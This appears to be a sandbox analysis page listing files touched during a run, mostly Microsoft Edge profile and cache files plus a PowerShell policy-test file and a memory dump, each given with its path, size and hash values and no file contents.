SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 8b019ec21f7ce3bea1ef8873f040974669dbf7d565d53c4d053109531f5f9d3f
MD5 976420487d92bff2e7c66c1289df7d26
SHA1 474c20104b48ab0da56dcf510dba9fd68390a888
SHA512 181baeb3fd2042be46ad02174f8df133b8d159a34e05d172d1eec61b81cd639c7afde08054406d26daa5ed68db71a8fe9445830e9c24cfd155273c3a959b7d47
SSDEEP 192:sxZ0TRKyM/jK1Ml8UQGy5/fqsGOYV7IdpXl7HW6+WNNgooUGjL/YvM4QbmIg55J:sxZ0TIqz5/fqsGO7NHbusK/hyx
TLSH
T12462D852A6344A77CDDBD30DF952BB53D6F45462A2900E48AAFCCA1C05E7BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 e791fd5a7384c37bfaf620b63b8d7aeb65345c1a82deb48c6b541be8cb93b03d
MD5 b0a8ecd2e5e942368a244217e1e2a200
SHA1 0c15d9d2878210eafd3e3d96ee20afa6bdfc53d1
SHA512 d3cc28945d53d3f86c35736f3707a47ff0c920719b5e7ec462c3c57bd0ea32702f3243bfa7a1ddad1e5faa4014843e0a2aaa541100fbb915aef11f22ade636e7
SSDEEP 192:sxZ0TRKyM/jK1Ml8UQGk5/fqsGOYV7IdpXl7HW6+WNNgooUGjL/YvM4QbmIg55J:sxZ0TIqt5/fqsGO7NHbusK/hyx
TLSH
T14A62D712AA344A77CDDBD30DF951BB53D6F55462A2900E48AAFCCA1C05E7BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 f70ec201a2b9df39bed954b743349d777af5e493483cb89a6dce976d77088f85
MD5 3bad79d0b75336eaff46b567889709ce
SHA1 cf75004e9b995094482399a1a1b0b5417480d345
SHA512 0d56f8370477d0ddc44c8e9779843e3c77bb0b69039dfe9e08cf67c806e36c3fbdec34444819780ae94a814cba17d303d552b2c7971da693f589b60b55faccae
SSDEEP 192:sxZ0TRKyM/jK1Ml8My5/fqsGOYV7Idpll7HW6+WNNgooUGjL/YvymBbmIg55J:sxZ0TIa5/fqsGO7LHbusK/gyx
TLSH
T12E52E712AA345A77CDDBD30DF911BF53D6F55062A2900E48AAFC8A0C05E3BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c3fdb533a16310f57715ef0be8cd5faa97b302165544c7d1539a34b8da629df6
MD5 d9fa941f0c8c1a037699867958e37e02
SHA1 7c546d2df1b476b379116e133adb2ee2e077ece6
SHA512 b0d30823fa74828a552e4e8fc420a132241527e40f482820d196bc4b537e3ccfbf53c1dc172b67e464e03ba03ae667cb1e60f8c0314ba682cdf9763cdb2210f7
SSDEEP 192:sxZ0TRKyMqZjK1Ml8UQGk5/fqsGOYV7IdpXl7HW6+WNNgooUGjL/YvMBQb1Ig55J:sxZ0Tfqt5/fqsGO7NHbusK/Elx
TLSH
T1D262D812AA384977CDDBD31DF955BB53D6F45062A2900E48AAFCCA0C05E7BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 6135111c8a8b1bb718def6d22617ddd0580c8d7337e4f3f1b3fe945247278288
MD5 1b286045c97ca4b4214980428157042a
SHA1 fdfbfff86c260692aeb056feda0db8e07c233251
SHA512 c63908d08f540b23632613e3709cf1fc92000b01e873f74385ca6ef816044e66a81c6976b1d6ed31c98fdf65d4b1df0f75812cad40611d5c19d79182bbbfed39
SSDEEP 768:ecseJ3xWvhfwn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYcLly0pppro90:ecseJ3xWvhfwnu1jaVcL88pCa
TLSH
T1D1E2FA2B280CCB7E4F844E6DEC2A6F966EE801CB57984D5447EA884C03C77EB51275DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\c41e8016-acfe-4596-96f4-a749f543712c\index-dir\temp-index
Size 1KB
SHA256 103a83d32c4574a826a1fa0d0addc3e6c7ca00d28b1fc5b2c87f7b0a4bec1a4c
MD5 fc4799f32a8402b67499167f661dfda0
SHA1 4fa72a6c744b3ac65464a5f65d1b6e7c84ec3a16
SHA512 20c209e17dcfe09dd3abe7840d255585f06ac5f2387a793714baadca37385038be17ff55fe6b902e0fbd4283356ede7232a0eb261937b10b34c54d4a275573b4
TLSH
T14B31128D8E91659FD9A488B3107670E033F0C9DC2B11A3534C7C667A3C667992D0B5D8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5cb899.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\c41e8016-acfe-4596-96f4-a749f543712c\index-dir\the-real-index~RFe5cb899.TMP
Size 1KB
SHA256 1627f3c54020a9c058709d30a12ee08ce3576457489b1813a700f28626c89f03
MD5 414b591ed000b8ed39639fc269f7bc63
SHA1 8bc1c6872098c2359a7516b97a0dafffbea2de11
SHA512 8a7b584acc70845e8fb439d39be6aa7087e8065f4287f38b461724f1f5ec4e3c7622d409539c61dff18fd6af9dbfd75d642411580e25d621c8b469b2d0511350
TLSH
T1773121CE8A92590FE8D040B60553B4B83375C9406322B3D394BD633A6C7579D6E5F0C8
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 cf653a3e5e22f671378f03dc78bae38239785cff3b61958226a9e8db4fcda406
MD5 2bd42800f465d326f8bcee5cf243a39b
SHA1 22e4b13fcb0e094483f4dd2e92af24caf8296f1c
SHA512 32f2970c9ac7c0d42dbe68eefb7269dd6c7f5bf813f6acfd8531bda82bf209ec2c0ed7445b909509d3b2b49ec167d9103c703943a90a2dd9067c4802079bb535
TLSH
T167E0C0762DD72450BEAFC3D120308090064A749DE941FC0E542FF6C310B231530D7C35
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 353ab16e332e69c6bbc5ce4730834a388087083b899e7f261d07066a858126f5
MD5 fe9e3fb423ce2098274694b2f4b62a0b
SHA1 43886dad0d02436c4d98894674a4175e197000b7
SHA512 d0d602a8400a09288ba7441377e1fb2898505d28648392ce417922f296713ff3427be3cc4d56711c805699304fb39fbff8ff3ce9be5c6dabea1eff385356c8f2
SSDEEP 48:KYHIhKggkXyBAIDK1KcjylDI1KkUILyBeIvKLiwj4:KYH+KggmiAgK1KyODKKkU2yesKLiQ4
TLSH
T1CEC1C922313F02023C7E754CB2AA96374E4135E3355868AF7BB810A55E6BE216DFC9DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eca63f16-7840-48b3-9664-b66197581fe0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\eca63f16-7840-48b3-9664-b66197581fe0.tmp
Size 13KB
SHA256 eda8ab082ca525dbeb550b00abcc4bbed82706f48f607411b5200838dfde21cb
MD5 478645409f21e4ed697289e28d5eaf9f
SHA1 3754f172c1c09e369e942406c4b2b239871c35f3
SHA512 8692c32d94e8158b1c3e36f0784958af0f6bcf32acc0db8757a5e928003b1fd1c71d0393f7baed5c2efe9c9447e2c1069649bb3b799a4ad184d05f27122c9f30
SSDEEP 192:sxZ0TRKyM/jK1Ml8Mk5/fqswcDV7Idpll7HW6+WNNgooU/YvZyBbmIgrJ:sxZ0TIM5/fqswcSLHbus/Ny9
TLSH
T1F852E702AA345977CDDBD30DF911BB53D6F95462A2900E48AAFCCA1C05E7BED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe590749.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe590749.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 15KB
SHA256 5e6126ea6ac379bc659a9034f5124d5fbde7bff1497b699a88ef06ad94be3c02
MD5 df0588999a39e6317771e7158278088c
SHA1 2e875b6f5bbf44e7d27a2d5f8ee4bfbd454bc1ee
SHA512 1d591faca88dc107300230887d7e45f369698fd1e56e4bcf5c8f0f30457799800bdbe865d8fd15ef102b2526a684e943be012d05bf867ee09aa4ec183dab9931
SSDEEP 384:CtNn/s3n9SfsNjHod1J7pL3k1dyZdUeCZ6:Cj+9UbJRCkUeCZ6
TLSH
T12C626C326C396D2B9EA2A549F44B37075FF4906B96C02F54EAEC6F1D01DB3AC1307916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 add857b7610b7016849b4a625a8bfd4bbb937a68ca49f34613b25c433a4fe8be
MD5 06f6d87e799848e00579f71370285f86
SHA1 582352246544220ac68efda0099ac7744f9b83bb
SHA512 a24f7ea763b4be8c572b858ff58b5198921b2a79e839a4d3f0a0071984b82ba3e4a3a7a25f439a7b97d75ea9b7c1da858524315c9551b1c9a996f31948d9ca54
SSDEEP 192:lON06vMtPQmiUyJKThTW0+FdLuc847qbLU/u:lON06UtRPTudy+OLU/u
TLSH
T192020735AC786C6BAAA3AD45F48A23175FF4607BAAD05B50EAEC2F1D00D765C1303827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 f6c3e63514cf1759d4a795e44a088d851ad4145be096965bdb92b8b1fb375612
MD5 72c01276b292c4e3a644db59c9f3130b
SHA1 e64d70e40dd14f557a516be0553260d9123d70e1
SHA512 f8d19ea50c3021bb01fa2665e4b765d95a9bd9b8d89f78716a7369e4e4b896ca6b221bf1279e9451310865194df3e61114c5b5b3d831e18d1599788d898eaf70
SSDEEP 192:PONG6vMCPQmiUyPKkhTW0+FdLuhpFd3EZz80IerqeU/u:PONG6UCRRkudyZdUuCU/u
TLSH
T12C120B716C786C6BAE93B545F48B33175FB0912BEAC46B50EAED2F1C01DB6AC1307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 23KB
SHA256 b5d03363b3cf0509ad375967fedfdc0b2b6ea3cc46fe9dd183868df06412e683
MD5 cbfbde6ada2b06529f38fe712952fc3e
SHA1 2d057e70239e124357e6a8dab6143d42f1830933
SHA512 0245701c3f34d26dc7036b8b620e4e88e94d37664c1b72f476bea63b218de3f585dbf51ecae1d8765da07db176950d31bc9943dbc85ae45f1f543d3cbb508e0f
SSDEEP 384:liFXutNn/s3n9S8isN98TUNTUlIlGod1J7pLik1dyZdU2CZ6:sFXuj+92AwgLJsCkU2CZ6
TLSH
T11CB209F258D7893AD99E9747F73E2E024EBCC067B5806A54B7985A0DCD872BFC306811
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 23KB
SHA256 6c46d5ab331c420fdedba1d68f0f777f2476601bb15a0cfc11f373e1613a67de
MD5 6a40c67e289606ad8d1ff7c2a07505e7
SHA1 91ae65f806ce55e42e4649eba99c4b5bc02901f4
SHA512 cf68ca35e78dbfab625a0cc7ef3751f7ad9d34fff0a2d47f261af24b9df8a583ad15a20ae6b58691ca21e6e37e6a7b910668941aae0a5a4c70710292927d0a0f
SSDEEP 384:liF7tNn/s3n9S8LsN38TUNTUlIRGFd1J7pFbik1dyZdUMCZ6:sF7j+9PewgKJiCkUMCZ6
TLSH
T1BAB208F258D7883AD9AE9747F77E2E024EBCC067B5806A54B7985A0DCD871BFC306814
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 15KB
SHA256 b28f2366528927aec2998141cd419b23f9f6a53dd74eaf986502db67dd30bb96
MD5 d4da1575592dbba277f3ddc5e83f36d7
SHA1 ebfae288f8f1f41809961dd1cefa97e9682ca208
SHA512 9351b505bc7ba35a89f2a84a5efe0511c9772c6c0dbe5d6a0fabdad06bc99dd968e2384eff852818c6040625f8df401cffd9fc4f6c5b9d50a64930a102087cbd
SSDEEP 384:PutNn/s3n9SusNjGod1J7pL3k1dyZdUeCZ6:Puj+9xGJRCkUeCZ6
TLSH
T192625C326C395D679AA3A549F44B37075FF4906B96C02F54EAEC6F1E02CB3AC1307915
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 15KB
SHA256 00f5134c1ce967c706a30c83f2b9f0de4b18168deeb71a5723a100cf84a366f0
MD5 e17d59c1144eef1dd3ecb3742ec5187a
SHA1 a1443c361f83b6d46f35d6c270f8ab3d017041cc
SHA512 dc28bb87a7a8bb3ac4bbb2bf17532337273f6d79b46f131761763099785c77fce7ae954b80fc403290758687d8974e8c9e9f0c1ba33a8578559046a9d1dc71b5
SSDEEP 384:NtNn/s3n9SusNjiod1J7pL3k1dyZdUeCZ6:Nj+9xqJRCkUeCZ6
TLSH
T13A626C326C396D2B9EA2A549F44B37075FF4906B96C02F54EAEC6F1E01DB3AC1307916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 23KB
SHA256 701bf5dceb366c2475101271743d96433adf44923f7498adc28fcd13bd4176fc
MD5 341a71aa242b8d32a688b2519f625237
SHA1 b6e2ca13a941158891df25247f6d0fd5446964db
SHA512 10561d0c00ed544cffe2d20ccce0ad141abcf8631166d15a90189b2589f859581092f3307a4ae39051f6e0dafaf25b2b3a09faa5619d6e0a629a8f1ed8ec52dc
SSDEEP 384:liFKtNn/s3n9S8isN38TUNTUlIRGFd1J7pFik1dyZdUgCZ6:sFKj+92ewgKJSCkUgCZ6
TLSH
T197B208F258D7883AD9AE9747F77E2E024EBCC067B5806A54B7985A0DCD871BFC306904
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 23KB
SHA256 3d89a81ed53a7e3de61c0920e93400681907ad6c4fcdfed9f5e0b056abbcc27b
MD5 5ccd5fdd59f77c287c09e5713ed170b1
SHA1 f61f7681d36d7f1214c3c054325a4dcb781cb0d1
SHA512 af1690e2d2ff54c4e99abe558903566c77a18d72aa80b90eca9789ca57635e1f08644e7a2a0bee144b7d52be9534df22ae370cb7435869f50bc083d7064f7a83
SSDEEP 384:liF1tNn/s3n9S8/sN38TUNTUlIRGFd1J7pFik1dyZdUgCZ6:sF1j+9rewgKJSCkUgCZ6
TLSH
T185B208F258D7883AD9AE9747F77E2E024EBCC067B5806A54B7985A0DCD871BFC306904
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

41deeead-0aed-4ab9-be9a-324e3fb0d564.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\41deeead-0aed-4ab9-be9a-324e3fb0d564.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 bc8ae58d2e9ce3c3a33c92513233e0a192b7230e80657c56744be54a33dc5cce
MD5 640489e255220e07bc30c940e7e648fa
SHA1 14b6f0972606ff32a81c6886c370975bb7b9ae59
SHA512 f0d37194f762694cd28a561cd0e42eee869caf18f5d2147215114a37b950d84674e38f507bb10f5d95808a75d634bbb412ba2f8e262b11c67e748497cb583ba2
TLSH
T17D412C58A6FD1148B3B37E5AABF6A96E847EB9772E06D05E10010E4F0622F40C972737
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3qawz0ne.hdo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qawz0ne.hdo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2948-656-0x0000020BAEE70000-0x0000020BAEE92000-memory.dmp

Download